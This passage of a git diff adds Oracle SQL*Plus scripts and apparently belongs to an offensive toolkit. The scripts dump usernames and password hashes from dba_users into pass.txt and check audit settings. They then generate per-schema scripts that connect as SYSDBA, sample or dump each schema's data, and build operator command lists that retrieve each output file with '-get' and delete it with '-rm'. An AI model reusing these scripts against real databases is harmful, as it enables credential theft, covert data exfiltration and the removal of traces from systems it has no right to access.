+prompt + +ttitle off +set heading off + +prompt ---------------------------------------------------------------------------- + +prompt +prompt +prompt +ttitle "Auditing Parameters Of Interest" skip, skip +prompt --------------------------------- + +column name format a30 wrapped +column value format a50 wrapped +select name, value +from v$parameter +where name like 'audit%'; + +prompt ---------------------------------------------------------------------------- + +prompt +prompt +prompt +ttitle "Language Parameters Of Interest" skip, skip +prompt --------------------------------- + +select * from NLS_DATABASE_PARAMETERS where PARAMETER like '%CHARACTERSET'; +prompt +prompt +prompt + +prompt Run this to set the NLS_LANG variable: +prompt --------------------------------------- + +select '-setenv NLS_LANG=AMERICAN_AMERICA.' || value from NLS_DATABASE_PARAMETERS where PARAMETER = 'NLS_CHARACTERSET'; +prompt +prompt ---------------------------------------------------------------------------- + +prompt +prompt +prompt + +set termout off +set heading on +spool pass.txt +prompt +prompt ---------------------------------------------- + +prompt +column username format a25 +column password format a25 +select username, password from dba_users +where username != 'ANONYMOUS' AND + username != 'APEX_PUBLIC_USER' AND + username != 'AURORA$JIS$UTILITY$' AND + username != 'AURORA$ORB$UNAUTHENTICATED' AND + username != 'BI' AND + username != 'CTXSYS' AND + username != 'DBADMIN' AND + username != 'DBSNMP' AND + username != 'DEMO' AND + username != 'DIP' AND + username != 'DMSYS' AND + username != 'DRSYS' AND + username != 'EXFSYS' AND + username != 'FLOWS_030000' AND + username != 'FLOWS_FILES' AND + username != 'HR' AND + username != 'IX' AND + username != 'MDDATA' AND + username != 'MDSYS' AND + username != 'MGMT_VIEW' AND + username != 'MTSSYS' AND + username != 'ODM' AND + username != 'ODM_MTR' AND + username != 'OE' AND + username != 'OLAPDBA' AND + username != 'OLAPSVR' AND + username != 'OLAPSYS' AND + username != 'ORA_MONITOR' AND + username != 'ORACLE_OCM' AND + username != 'ORDPLUGINS' AND + username != 'ORDSYS' AND + username != 'OSE$HTTP$ADMIN' AND + username != 'OUTLN' AND + username != 'OWBSYS' AND + username != 'PM' AND + username != 'PUBLIC' AND + username != 'QS' AND + username != 'QS_ADM' AND + username != 'QS_CB' AND + username != 'QS_CBADM' AND + username != 'QS_CS' AND + username != 'QS_ES' AND + username != 'QS_OS' AND + username != 'QS_WS' AND + username != 'RMAN'AND + username != 'SCOTT' AND + username != 'SH' AND + username != 'SI_INFORMTN_SCHEMA' AND + username != 'SPATIAL_CSW_ADMIN_USR' AND + username != 'SPATIAL_WFS_ADMIN_USR' AND + username != 'SYSMAN' AND + username != 'TSMSYS' AND + username != 'WKPROXY' AND + username != 'WKSYS' AND + username != 'WK_TEST' AND + username != 'WMSYS' AND + username != 'XDB' AND + username != 'XS$NULL' +order by username; +prompt ---------------------------------------------------- + +prompt +spool off + + diff --git a/Linux/etc/oracle/t1_sample_only.sql b/Linux/etc/oracle/t1_sample_only.sql new file mode 100644 index 0000000..d19fa8c --- /dev/null +++ b/Linux/etc/oracle/t1_sample_only.sql @@ -0,0 +1,658 @@ +set echo off +set pagesize 9999 +set linesize 1000 +set verify off +set trimspool on +set trimout on +set feedback 6 +set recsep off +set maxdata 60000 +set numwidth 20 +set longchunk 60000 +set long 9999999 +set termout on +set arraysize 3 +set escape ~ +set heading on + +ttitle "Passwords" skip, skip +column username format a25 +column password format a25 +select username, password from dba_users order by username; + +prompt +prompt +prompt NLS Parameters: +prompt --------------- + +prompt +ttitle "Session Parameters" skip, skip +column parameter format a31 +column value format a41 +select * from NLS_SESSION_PARAMETERS; + +prompt +ttitle "Instance Parameters" skip, skip +select * from NLS_INSTANCE_PARAMETERS; +prompt + +prompt +ttitle "Database Parameters" skip, skip +select * from NLS_DATABASE_PARAMETERS; +prompt +prompt +prompt + + +ttitle off +set heading off +set termout off + +clear breaks +clear columns +clear computes + +col a fold_after + +spool getr2.sql +select 'set termout off' a, +'spool r2_' || owner || '.sql' a, +'prompt connect / as SYSDBA' a, +'prompt set termout off' a, +'prompt @s1.sql ' || owner a, +'prompt set termout off' a, +'prompt spool ' || owner || '_sam.txt' a, +'prompt set echo on' a, +'prompt @s2.sql' a, +'prompt spool off' a, +'prompt set echo off' a, +'prompt set pagesize 55' a, +'prompt set linesize 80' a, +'prompt set arraysize 15' a, +'prompt set maxdata 60000' a, +'prompt set termout on' a, +'spool off' a, +'set termout on' +from dba_objects +where owner != 'SYS' AND + owner != 'SYSTEM' AND + owner != 'ANONYMOUS' AND + owner != 'APEX_PUBLIC_USER' AND + owner != 'AURORA$JIS$UTILITY$' AND + owner != 'AURORA$ORB$UNAUTHENTICATED' AND + owner != 'BI' AND + owner != 'CTXSYS' AND + owner != 'DBADMIN' AND + owner != 'DBSNMP' AND + owner != 'DEMO' AND + owner != 'DIP' AND + owner != 'DMSYS' AND + owner != 'DRSYS' AND + owner != 'EXFSYS' AND + owner != 'FLOWS_030000' AND + owner != 'FLOWS_FILES' AND + owner != 'HR' AND + owner != 'IX' AND + owner != 'MDDATA' AND + owner != 'MDSYS' AND + owner != 'MGMT_VIEW' AND + owner != 'MTSSYS' AND + owner != 'ODM' AND + owner != 'ODM_MTR' AND + owner != 'OE' AND + owner != 'OLAPDBA' AND + owner != 'OLAPSVR' AND + owner != 'OLAPSYS' AND + owner != 'ORA_MONITOR' AND + owner != 'ORACLE_OCM' AND + owner != 'ORDPLUGINS' AND + owner != 'ORDSYS' AND + owner != 'OSE$HTTP$ADMIN' AND + owner != 'OUTLN' AND + owner != 'OWBSYS' AND + owner != 'PM' AND + owner != 'PUBLIC' AND + owner != 'QS' AND + owner != 'QS_ADM' AND + owner != 'QS_CB' AND + owner != 'QS_CBADM' AND + owner != 'QS_CS' AND + owner != 'QS_ES' AND + owner != 'QS_OS' AND + owner != 'QS_WS' AND + owner != 'RMAN'AND + owner != 'SCOTT' AND + owner != 'SH' AND + owner != 'SI_INFORMTN_SCHEMA' AND + owner != 'SPATIAL_CSW_ADMIN_USR' AND + owner != 'SPATIAL_WFS_ADMIN_USR' AND + owner != 'SYSMAN' AND + owner != 'TSMSYS' AND + owner != 'WKPROXY' AND + owner != 'WKSYS' AND + owner != 'WK_TEST' AND + owner != 'WMSYS' AND + owner != 'XDB' AND + owner != 'XS$NULL' +group by owner; + +spool off + +clear columns + + +col a fold_after + +spool getr2_80.sql +select 'set termout off' a, +'spool r2_80_' || owner || '.sql' a, +'prompt connect internal/' a, +'prompt set termout off' a, +'prompt @s1.sql ' || owner a, +'prompt set termout off' a, +'prompt spool ' || owner || '_sam.txt' a, +'prompt set echo on' a, +'prompt @s2.sql' a, +'prompt spool off' a, +'prompt set echo off' a, +'prompt set pagesize 55' a, +'prompt set linesize 80' a, +'prompt set arraysize 15' a, +'prompt set maxdata 60000' a, +'prompt set termout on' a, +'spool off' a, +'set termout on' +from dba_objects +where owner != 'SYS' AND + owner != 'SYSTEM' AND + owner != 'ANONYMOUS' AND + owner != 'APEX_PUBLIC_USER' AND + owner != 'AURORA$JIS$UTILITY$' AND + owner != 'AURORA$ORB$UNAUTHENTICATED' AND + owner != 'BI' AND + owner != 'CTXSYS' AND + owner != 'DBADMIN' AND + owner != 'DBSNMP' AND + owner != 'DEMO' AND + owner != 'DIP' AND + owner != 'DMSYS' AND + owner != 'DRSYS' AND + owner != 'EXFSYS' AND + owner != 'FLOWS_030000' AND + owner != 'FLOWS_FILES' AND + owner != 'HR' AND + owner != 'IX' AND + owner != 'MDDATA' AND + owner != 'MDSYS' AND + owner != 'MGMT_VIEW' AND + owner != 'MTSSYS' AND + owner != 'ODM' AND + owner != 'ODM_MTR' AND + owner != 'OE' AND + owner != 'OLAPDBA' AND + owner != 'OLAPSVR' AND + owner != 'OLAPSYS' AND + owner != 'ORA_MONITOR' AND + owner != 'ORACLE_OCM' AND + owner != 'ORDPLUGINS' AND + owner != 'ORDSYS' AND + owner != 'OSE$HTTP$ADMIN' AND + owner != 'OUTLN' AND + owner != 'OWBSYS' AND + owner != 'PM' AND + owner != 'PUBLIC' AND + owner != 'QS' AND + owner != 'QS_ADM' AND + owner != 'QS_CB' AND + owner != 'QS_CBADM' AND + owner != 'QS_CS' AND + owner != 'QS_ES' AND + owner != 'QS_OS' AND + owner != 'QS_WS' AND + owner != 'RMAN'AND + owner != 'SCOTT' AND + owner != 'SH' AND + owner != 'SI_INFORMTN_SCHEMA' AND + owner != 'SPATIAL_CSW_ADMIN_USR' AND + owner != 'SPATIAL_WFS_ADMIN_USR' AND + owner != 'SYSMAN' AND + owner != 'TSMSYS' AND + owner != 'WKPROXY' AND + owner != 'WKSYS' AND + owner != 'WK_TEST' AND + owner != 'WMSYS' AND + owner != 'XDB' AND + owner != 'XS$NULL' +group by owner; + +spool off + +clear columns +@getr2.sql +@getr2_80.sql + +set termout off + +col a fold_after + +spool sam8i.txt +prompt These are commands to run against Oracle 8i and higher databases +prompt rm r2_80_* +prompt +select '=======================' a, +'----------Begin - ' || owner || '---------' a, +'-rm r2.sql' a, +'mv r2_' || owner || '.sql r2.sql' a, +'g2 > /dev/null 2>~&1' a, +'-get ' || owner || '_sam.txt' a, +'-rm ' || owner || '_sam.txt' a, +'----------Done - ' || owner || '---------' a +from dba_objects do +where owner != 'SYS' AND + owner != 'SYSTEM' AND + owner != 'ANONYMOUS' AND + owner != 'APEX_PUBLIC_USER' AND + owner != 'AURORA$JIS$UTILITY$' AND + owner != 'AURORA$ORB$UNAUTHENTICATED' AND + owner != 'BI' AND + owner != 'CTXSYS' AND + owner != 'DBADMIN' AND + owner != 'DBSNMP' AND + owner != 'DEMO' AND + owner != 'DIP' AND + owner != 'DMSYS' AND + owner != 'DRSYS' AND + owner != 'EXFSYS' AND + owner != 'FLOWS_030000' AND + owner != 'FLOWS_FILES' AND + owner != 'HR' AND + owner != 'IX' AND + owner != 'MDDATA' AND + owner != 'MDSYS' AND + owner != 'MGMT_VIEW' AND + owner != 'MTSSYS' AND + owner != 'ODM' AND + owner != 'ODM_MTR' AND + owner != 'OE' AND + owner != 'OLAPDBA' AND + owner != 'OLAPSVR' AND + owner != 'OLAPSYS' AND + owner != 'ORA_MONITOR' AND + owner != 'ORACLE_OCM' AND + owner != 'ORDPLUGINS' AND + owner != 'ORDSYS' AND + owner != 'OSE$HTTP$ADMIN' AND + owner != 'OUTLN' AND + owner != 'OWBSYS' AND + owner != 'PM' AND + owner != 'PUBLIC' AND + owner != 'QS' AND + owner != 'QS_ADM' AND + owner != 'QS_CB' AND + owner != 'QS_CBADM' AND + owner != 'QS_CS' AND + owner != 'QS_ES' AND + owner != 'QS_OS' AND + owner != 'QS_WS' AND + owner != 'RMAN'AND + owner != 'SCOTT' AND + owner != 'SH' AND + owner != 'SI_INFORMTN_SCHEMA' AND + owner != 'SPATIAL_CSW_ADMIN_USR' AND + owner != 'SPATIAL_WFS_ADMIN_USR' AND + owner != 'SYSMAN' AND + owner != 'TSMSYS' AND + owner != 'WKPROXY' AND + owner != 'WKSYS' AND + owner != 'WK_TEST' AND + owner != 'WMSYS' AND + owner != 'XDB' AND + owner != 'XS$NULL' +group by owner; + +spool off + +spool sam80.txt +prompt These are commands to run against Oracle 80 databases +select '=======================' a, +'----------Begin - ' || owner || '---------' a, +'-rm r2.sql' a, +'mv r2_80_' || owner || '.sql r2.sql' a, +'g2 > /dev/null 2>~&1' a, +'-get ' || owner || '_sam.txt' a, +'-rm ' || owner || '_sam.txt' a, +'----------Done - ' || owner || '---------' a +from dba_objects +where owner != 'SYS' AND + owner != 'SYSTEM' AND + owner != 'ANONYMOUS' AND + owner != 'APEX_PUBLIC_USER' AND + owner != 'AURORA$JIS$UTILITY$' AND + owner != 'AURORA$ORB$UNAUTHENTICATED' AND + owner != 'BI' AND + owner != 'CTXSYS' AND + owner != 'DBADMIN' AND + owner != 'DBSNMP' AND + owner != 'DEMO' AND + owner != 'DIP' AND + owner != 'DMSYS' AND + owner != 'DRSYS' AND + owner != 'EXFSYS' AND + owner != 'FLOWS_030000' AND + owner != 'FLOWS_FILES' AND + owner != 'HR' AND + owner != 'IX' AND + owner != 'MDDATA' AND + owner != 'MDSYS' AND + owner != 'MGMT_VIEW' AND + owner != 'MTSSYS' AND + owner != 'ODM' AND + owner != 'ODM_MTR' AND + owner != 'OE' AND + owner != 'OLAPDBA' AND + owner != 'OLAPSVR' AND + owner != 'OLAPSYS' AND + owner != 'ORA_MONITOR' AND + owner != 'ORACLE_OCM' AND + owner != 'ORDPLUGINS' AND + owner != 'ORDSYS' AND + owner != 'OSE$HTTP$ADMIN' AND + owner != 'OUTLN' AND + owner != 'OWBSYS' AND + owner != 'PM' AND + owner != 'PUBLIC' AND + owner != 'QS' AND + owner != 'QS_ADM' AND + owner != 'QS_CB' AND + owner != 'QS_CBADM' AND + owner != 'QS_CS' AND + owner != 'QS_ES' AND + owner != 'QS_OS' AND + owner != 'QS_WS' AND + owner != 'RMAN'AND + owner != 'SCOTT' AND + owner != 'SH' AND + owner != 'SI_INFORMTN_SCHEMA' AND + owner != 'SPATIAL_CSW_ADMIN_USR' AND + owner != 'SPATIAL_WFS_ADMIN_USR' AND + owner != 'SYSMAN' AND + owner != 'TSMSYS' AND + owner != 'WKPROXY' AND + owner != 'WKSYS' AND + owner != 'WK_TEST' AND + owner != 'WMSYS' AND + owner != 'XDB' AND + owner != 'XS$NULL' +group by owner; + +spool off + +set termout on + +prompt +prompt +prompt Users of Interest: +prompt ------------------ +prompt +ttitle "Passwords" skip, skip +column username format a25 +column password format a25 +select username, password from dba_users +where username != 'SYS' AND + username != 'SYSTEM' AND + username != 'ANONYMOUS' AND + username != 'APEX_PUBLIC_USER' AND + username != 'AURORA$JIS$UTILITY$' AND + username != 'AURORA$ORB$UNAUTHENTICATED' AND + username != 'BI' AND + username != 'CTXSYS' AND + username != 'DBADMIN' AND + username != 'DBSNMP' AND + username != 'DEMO' AND + username != 'DIP' AND + username != 'DMSYS' AND + username != 'DRSYS' AND + username != 'EXFSYS' AND + username != 'FLOWS_030000' AND + username != 'FLOWS_FILES' AND + username != 'HR' AND + username != 'IX' AND + username != 'MDDATA' AND + username != 'MDSYS' AND + username != 'MGMT_VIEW' AND + username != 'MTSSYS' AND + username != 'ODM' AND + username != 'ODM_MTR' AND + username != 'OE' AND + username != 'OLAPDBA' AND + username != 'OLAPSVR' AND + username != 'OLAPSYS' AND + username != 'ORA_MONITOR' AND + username != 'ORACLE_OCM' AND + username != 'ORDPLUGINS' AND + username != 'ORDSYS' AND + username != 'OSE$HTTP$ADMIN' AND + username != 'OUTLN' AND + username != 'OWBSYS' AND + username != 'PM' AND + username != 'PUBLIC' AND + username != 'QS' AND + username != 'QS_ADM' AND + username != 'QS_CB' AND + username != 'QS_CBADM' AND + username != 'QS_CS' AND + username != 'QS_ES' AND + username != 'QS_OS' AND + username != 'QS_WS' AND + username != 'RMAN'AND + username != 'SCOTT' AND + username != 'SH' AND + username != 'SI_INFORMTN_SCHEMA' AND + username != 'SPATIAL_CSW_ADMIN_USR' AND + username != 'SPATIAL_WFS_ADMIN_USR' AND + username != 'SYSMAN' AND + username != 'TSMSYS' AND + username != 'WKPROXY' AND + username != 'WKSYS' AND + username != 'WK_TEST' AND + username != 'WMSYS' AND + username != 'XDB' AND + username != 'XS$NULL' +order by username; +prompt ---------------------------------------- + +prompt +ttitle 'Object Counts for Users of Interest' skip skip +prompt ------------------------------------- + +prompt +col ow format a18 heading 'Owner' +col ta format 999,999 heading 'Tables' +col ve format 999,999 heading 'Views' + +select owner ow, + sum(decode(object_type,'TABLE',1,0)) ta , + sum(decode(object_type,'VIEW',1,0)) ve +from dba_objects +where owner != 'SYS' AND + owner != 'SYSTEM' AND + owner != 'ANONYMOUS' AND + owner != 'APEX_PUBLIC_USER' AND + owner != 'AURORA$JIS$UTILITY$' AND + owner != 'AURORA$ORB$UNAUTHENTICATED' AND + owner != 'BI' AND + owner != 'CTXSYS' AND + owner != 'DBADMIN' AND + owner != 'DBSNMP' AND + owner != 'DEMO' AND + owner != 'DIP' AND + owner != 'DMSYS' AND + owner != 'DRSYS' AND + owner != 'EXFSYS' AND + owner != 'FLOWS_030000' AND + owner != 'FLOWS_FILES' AND + owner != 'HR' AND + owner != 'IX' AND + owner != 'MDDATA' AND + owner != 'MDSYS' AND + owner != 'MGMT_VIEW' AND + owner != 'MTSSYS' AND + owner != 'ODM' AND + owner != 'ODM_MTR' AND + owner != 'OE' AND + owner != 'OLAPDBA' AND + owner != 'OLAPSVR' AND + owner != 'OLAPSYS' AND + owner != 'ORA_MONITOR' AND + owner != 'ORACLE_OCM' AND + owner != 'ORDPLUGINS' AND + owner != 'ORDSYS' AND + owner != 'OSE$HTTP$ADMIN' AND + owner != 'OUTLN' AND + owner != 'OWBSYS' AND + owner != 'PM' AND + owner != 'PUBLIC' AND + owner != 'QS' AND + owner != 'QS_ADM' AND + owner != 'QS_CB' AND + owner != 'QS_CBADM' AND + owner != 'QS_CS' AND + owner != 'QS_ES' AND + owner != 'QS_OS' AND + owner != 'QS_WS' AND + owner != 'RMAN'AND + owner != 'SCOTT' AND + owner != 'SH' AND + owner != 'SI_INFORMTN_SCHEMA' AND + owner != 'SPATIAL_CSW_ADMIN_USR' AND + owner != 'SPATIAL_WFS_ADMIN_USR' AND + owner != 'SYSMAN' AND + owner != 'TSMSYS' AND + owner != 'WKPROXY' AND + owner != 'WKSYS' AND + owner != 'WK_TEST' AND + owner != 'WMSYS' AND + owner != 'XDB' AND + owner != 'XS$NULL' +group by owner +order by ta; +prompt ---------------------------------------- + +prompt + +ttitle off +set heading off + +prompt ---------------------------------------------------------------------------- + +prompt +prompt +prompt +ttitle "Auditing Parameters Of Interest" skip, skip +prompt --------------------------------- + +column name format a30 wrapped +column value format a50 wrapped +select name, value +from v$parameter +where name like 'audit%'; + +prompt ---------------------------------------------------------------------------- + +prompt +prompt +prompt +ttitle "Language Parameters Of Interest" skip, skip +prompt --------------------------------- + +select * from NLS_DATABASE_PARAMETERS where PARAMETER like '%CHARACTERSET'; +prompt +prompt +prompt + +prompt Run this to set the NLS_LANG variable: +prompt --------------------------------------- + +select '-setenv NLS_LANG=AMERICAN_AMERICA.' || value from NLS_DATABASE_PARAMETERS where PARAMETER = 'NLS_CHARACTERSET'; +prompt +prompt ---------------------------------------------------------------------------- + +prompt +prompt +prompt + +set termout off +set heading on +spool pass.txt +prompt +prompt ---------------------------------------------- + +prompt +column username format a25 +column password format a25 +select username, password from dba_users +where username != 'ANONYMOUS' AND + username != 'APEX_PUBLIC_USER' AND + username != 'AURORA$JIS$UTILITY$' AND + username != 'AURORA$ORB$UNAUTHENTICATED' AND + username != 'BI' AND + username != 'CTXSYS' AND + username != 'DBADMIN' AND + username != 'DBSNMP' AND + username != 'DEMO' AND + username != 'DIP' AND + username != 'DMSYS' AND + username != 'DRSYS' AND + username != 'EXFSYS' AND + username != 'FLOWS_030000' AND + username != 'FLOWS_FILES' AND + username != 'HR' AND + username != 'IX' AND + username != 'MDDATA' AND + username != 'MDSYS' AND + username != 'MGMT_VIEW' AND + username != 'MTSSYS' AND + username != 'ODM' AND + username != 'ODM_MTR' AND + username != 'OE' AND + username != 'OLAPDBA' AND + username != 'OLAPSVR' AND + username != 'OLAPSYS' AND + username != 'ORA_MONITOR' AND + username != 'ORACLE_OCM' AND + username != 'ORDPLUGINS' AND + username != 'ORDSYS' AND + username != 'OSE$HTTP$ADMIN' AND + username != 'OUTLN' AND + username != 'OWBSYS' AND + username != 'PM' AND + username != 'PUBLIC' AND + username != 'QS' AND + username != 'QS_ADM' AND + username != 'QS_CB' AND + username != 'QS_CBADM' AND + username != 'QS_CS' AND + username != 'QS_ES' AND + username != 'QS_OS' AND + username != 'QS_WS' AND + username != 'RMAN'AND + username != 'SCOTT' AND + username != 'SH' AND + username != 'SI_INFORMTN_SCHEMA' AND + username != 'SPATIAL_CSW_ADMIN_USR' AND + username != 'SPATIAL_WFS_ADMIN_USR' AND + username != 'SYSMAN' AND + username != 'TSMSYS' AND + username != 'WKPROXY' AND + username != 'WKSYS' AND + username != 'WK_TEST' AND + username != 'WMSYS' AND + username != 'XDB' AND + username != 'XS$NULL' +order by username; +prompt ---------------------------------------------------- + +prompt +spool off + + diff --git a/Linux/etc/oracle/t1_schema_only.sql b/Linux/etc/oracle/t1_schema_only.sql new file mode 100644 index 0000000..e6c528a --- /dev/null +++ b/Linux/etc/oracle/t1_schema_only.sql @@ -0,0 +1,652 @@ +set echo off +set pagesize 9999 +set linesize 1000 +set verify off +set trimspool on +set trimout on +set feedback 6 +set recsep off +set maxdata 60000 +set numwidth 20 +set longchunk 60000 +set long 9999999 +set termout on +set arraysize 3 +set escape ~ +set heading on + +ttitle "Passwords" skip, skip +column username format a25 +column password format a25 +select username, password from dba_users order by username; + +prompt +prompt +prompt NLS Parameters: +prompt --------------- + +prompt +ttitle "Session Parameters" skip, skip +column parameter format a31 +column value format a41 +select * from NLS_SESSION_PARAMETERS; + +prompt +ttitle "Instance Parameters" skip, skip +select * from NLS_INSTANCE_PARAMETERS; +prompt + +prompt +ttitle "Database Parameters" skip, skip +select * from NLS_DATABASE_PARAMETERS; +prompt +prompt +prompt + + +ttitle off +set heading off +set termout off + +clear breaks +clear columns +clear computes + +col a fold_after + +spool getr2.sql +select 'set termout off' a, +'spool r2_' || owner || '.sql' a, +'prompt connect / as SYSDBA' a, +'prompt set termout off' a, +'prompt spool ' || owner || '_sch.txt' a, +'prompt @sch.sql ' || owner a, +'prompt spool off' a, +'prompt set echo off' a, +'prompt set pagesize 55' a, +'prompt set linesize 80' a, +'prompt set arraysize 15' a, +'prompt set maxdata 60000' a, +'prompt set termout on' a, +'spool off' a, +'set termout on' +from dba_objects +where owner != 'SYS' AND + owner != 'SYSTEM' AND + owner != 'ANONYMOUS' AND + owner != 'APEX_PUBLIC_USER' AND + owner != 'AURORA$JIS$UTILITY$' AND + owner != 'AURORA$ORB$UNAUTHENTICATED' AND + owner != 'BI' AND + owner != 'CTXSYS' AND + owner != 'DBADMIN' AND + owner != 'DBSNMP' AND + owner != 'DEMO' AND + owner != 'DIP' AND + owner != 'DMSYS' AND + owner != 'DRSYS' AND + owner != 'EXFSYS' AND + owner != 'FLOWS_030000' AND + owner != 'FLOWS_FILES' AND + owner != 'HR' AND + owner != 'IX' AND + owner != 'MDDATA' AND + owner != 'MDSYS' AND + owner != 'MGMT_VIEW' AND + owner != 'MTSSYS' AND + owner != 'ODM' AND + owner != 'ODM_MTR' AND + owner != 'OE' AND + owner != 'OLAPDBA' AND + owner != 'OLAPSVR' AND + owner != 'OLAPSYS' AND + owner != 'ORA_MONITOR' AND + owner != 'ORACLE_OCM' AND + owner != 'ORDPLUGINS' AND + owner != 'ORDSYS' AND + owner != 'OSE$HTTP$ADMIN' AND + owner != 'OUTLN' AND + owner != 'OWBSYS' AND + owner != 'PM' AND + owner != 'PUBLIC' AND + owner != 'QS' AND + owner != 'QS_ADM' AND + owner != 'QS_CB' AND + owner != 'QS_CBADM' AND + owner != 'QS_CS' AND + owner != 'QS_ES' AND + owner != 'QS_OS' AND + owner != 'QS_WS' AND + owner != 'RMAN'AND + owner != 'SCOTT' AND + owner != 'SH' AND + owner != 'SI_INFORMTN_SCHEMA' AND + owner != 'SPATIAL_CSW_ADMIN_USR' AND + owner != 'SPATIAL_WFS_ADMIN_USR' AND + owner != 'SYSMAN' AND + owner != 'TSMSYS' AND + owner != 'WKPROXY' AND + owner != 'WKSYS' AND + owner != 'WK_TEST' AND + owner != 'WMSYS' AND + owner != 'XDB' AND + owner != 'XS$NULL' +group by owner; + +spool off + +clear columns + + +col a fold_after + +spool getr2_80.sql +select 'set termout off' a, +'spool r2_80_' || owner || '.sql' a, +'prompt connect internal/' a, +'prompt set termout off' a, +'prompt spool ' || owner || '_sch.txt' a, +'prompt @sch.sql ' || owner a, +'prompt spool off' a, +'prompt set echo off' a, +'prompt set pagesize 55' a, +'prompt set linesize 80' a, +'prompt set arraysize 15' a, +'prompt set maxdata 60000' a, +'prompt set termout on' a, +'spool off' a, +'set termout on' +from dba_objects +where owner != 'SYS' AND + owner != 'SYSTEM' AND + owner != 'ANONYMOUS' AND + owner != 'APEX_PUBLIC_USER' AND + owner != 'AURORA$JIS$UTILITY$' AND + owner != 'AURORA$ORB$UNAUTHENTICATED' AND + owner != 'BI' AND + owner != 'CTXSYS' AND + owner != 'DBADMIN' AND + owner != 'DBSNMP' AND + owner != 'DEMO' AND + owner != 'DIP' AND + owner != 'DMSYS' AND + owner != 'DRSYS' AND + owner != 'EXFSYS' AND + owner != 'FLOWS_030000' AND + owner != 'FLOWS_FILES' AND + owner != 'HR' AND + owner != 'IX' AND + owner != 'MDDATA' AND + owner != 'MDSYS' AND + owner != 'MGMT_VIEW' AND + owner != 'MTSSYS' AND + owner != 'ODM' AND + owner != 'ODM_MTR' AND + owner != 'OE' AND + owner != 'OLAPDBA' AND + owner != 'OLAPSVR' AND + owner != 'OLAPSYS' AND + owner != 'ORA_MONITOR' AND + owner != 'ORACLE_OCM' AND + owner != 'ORDPLUGINS' AND + owner != 'ORDSYS' AND + owner != 'OSE$HTTP$ADMIN' AND + owner != 'OUTLN' AND + owner != 'OWBSYS' AND + owner != 'PM' AND + owner != 'PUBLIC' AND + owner != 'QS' AND + owner != 'QS_ADM' AND + owner != 'QS_CB' AND + owner != 'QS_CBADM' AND + owner != 'QS_CS' AND + owner != 'QS_ES' AND + owner != 'QS_OS' AND + owner != 'QS_WS' AND + owner != 'RMAN'AND + owner != 'SCOTT' AND + owner != 'SH' AND + owner != 'SI_INFORMTN_SCHEMA' AND + owner != 'SPATIAL_CSW_ADMIN_USR' AND + owner != 'SPATIAL_WFS_ADMIN_USR' AND + owner != 'SYSMAN' AND + owner != 'TSMSYS' AND + owner != 'WKPROXY' AND + owner != 'WKSYS' AND + owner != 'WK_TEST' AND + owner != 'WMSYS' AND + owner != 'XDB' AND + owner != 'XS$NULL' +group by owner; + +spool off + +clear columns +@getr2.sql +@getr2_80.sql + +set termout off + +col a fold_after + +spool sam8i.txt +prompt These are commands to run against Oracle 8i and higher databases +prompt rm r2_80_* +prompt +select '=======================' a, +'----------Begin - ' || owner || '---------' a, +'-rm r2.sql' a, +'mv r2_' || owner || '.sql r2.sql' a, +'g2 > /dev/null 2>~&1' a, +'-get ' || owner || '_sch.txt' a, +'-rm ' || owner || '_sch.txt' a, +'----------Done - ' || owner || '---------' a +from dba_objects do +where owner != 'SYS' AND + owner != 'SYSTEM' AND + owner != 'ANONYMOUS' AND + owner != 'APEX_PUBLIC_USER' AND + owner != 'AURORA$JIS$UTILITY$' AND + owner != 'AURORA$ORB$UNAUTHENTICATED' AND + owner != 'BI' AND + owner != 'CTXSYS' AND + owner != 'DBADMIN' AND + owner != 'DBSNMP' AND + owner != 'DEMO' AND + owner != 'DIP' AND + owner != 'DMSYS' AND + owner != 'DRSYS' AND + owner != 'EXFSYS' AND + owner != 'FLOWS_030000' AND + owner != 'FLOWS_FILES' AND + owner != 'HR' AND + owner != 'IX' AND + owner != 'MDDATA' AND + owner != 'MDSYS' AND + owner != 'MGMT_VIEW' AND + owner != 'MTSSYS' AND + owner != 'ODM' AND + owner != 'ODM_MTR' AND + owner != 'OE' AND + owner != 'OLAPDBA' AND + owner != 'OLAPSVR' AND + owner != 'OLAPSYS' AND + owner != 'ORA_MONITOR' AND + owner != 'ORACLE_OCM' AND + owner != 'ORDPLUGINS' AND + owner != 'ORDSYS' AND + owner != 'OSE$HTTP$ADMIN' AND + owner != 'OUTLN' AND + owner != 'OWBSYS' AND + owner != 'PM' AND + owner != 'PUBLIC' AND + owner != 'QS' AND + owner != 'QS_ADM' AND + owner != 'QS_CB' AND + owner != 'QS_CBADM' AND + owner != 'QS_CS' AND + owner != 'QS_ES' AND + owner != 'QS_OS' AND + owner != 'QS_WS' AND + owner != 'RMAN'AND + owner != 'SCOTT' AND + owner != 'SH' AND + owner != 'SI_INFORMTN_SCHEMA' AND + owner != 'SPATIAL_CSW_ADMIN_USR' AND + owner != 'SPATIAL_WFS_ADMIN_USR' AND + owner != 'SYSMAN' AND + owner != 'TSMSYS' AND + owner != 'WKPROXY' AND + owner != 'WKSYS' AND + owner != 'WK_TEST' AND + owner != 'WMSYS' AND + owner != 'XDB' AND + owner != 'XS$NULL' +group by owner; + +spool off + +spool sam80.txt +prompt These are commands to run against Oracle 80 databases +select '=======================' a, +'----------Begin - ' || owner || '---------' a, +'-rm r2.sql' a, +'mv r2_80_' || owner || '.sql r2.sql' a, +'g2 > /dev/null 2>~&1' a, +'-get ' || owner || '_sch.txt' a, +'-rm ' || owner || '_sch.txt' a, +'----------Done - ' || owner || '---------' a +from dba_objects +where owner != 'SYS' AND + owner != 'SYSTEM' AND + owner != 'ANONYMOUS' AND + owner != 'APEX_PUBLIC_USER' AND + owner != 'AURORA$JIS$UTILITY$' AND + owner != 'AURORA$ORB$UNAUTHENTICATED' AND + owner != 'BI' AND + owner != 'CTXSYS' AND + owner != 'DBADMIN' AND + owner != 'DBSNMP' AND + owner != 'DEMO' AND + owner != 'DIP' AND + owner != 'DMSYS' AND + owner != 'DRSYS' AND + owner != 'EXFSYS' AND + owner != 'FLOWS_030000' AND + owner != 'FLOWS_FILES' AND + owner != 'HR' AND + owner != 'IX' AND + owner != 'MDDATA' AND + owner != 'MDSYS' AND + owner != 'MGMT_VIEW' AND + owner != 'MTSSYS' AND + owner != 'ODM' AND + owner != 'ODM_MTR' AND + owner != 'OE' AND + owner != 'OLAPDBA' AND + owner != 'OLAPSVR' AND + owner != 'OLAPSYS' AND + owner != 'ORA_MONITOR' AND + owner != 'ORACLE_OCM' AND + owner != 'ORDPLUGINS' AND + owner != 'ORDSYS' AND + owner != 'OSE$HTTP$ADMIN' AND + owner != 'OUTLN' AND + owner != 'OWBSYS' AND + owner != 'PM' AND + owner != 'PUBLIC' AND + owner != 'QS' AND + owner != 'QS_ADM' AND + owner != 'QS_CB' 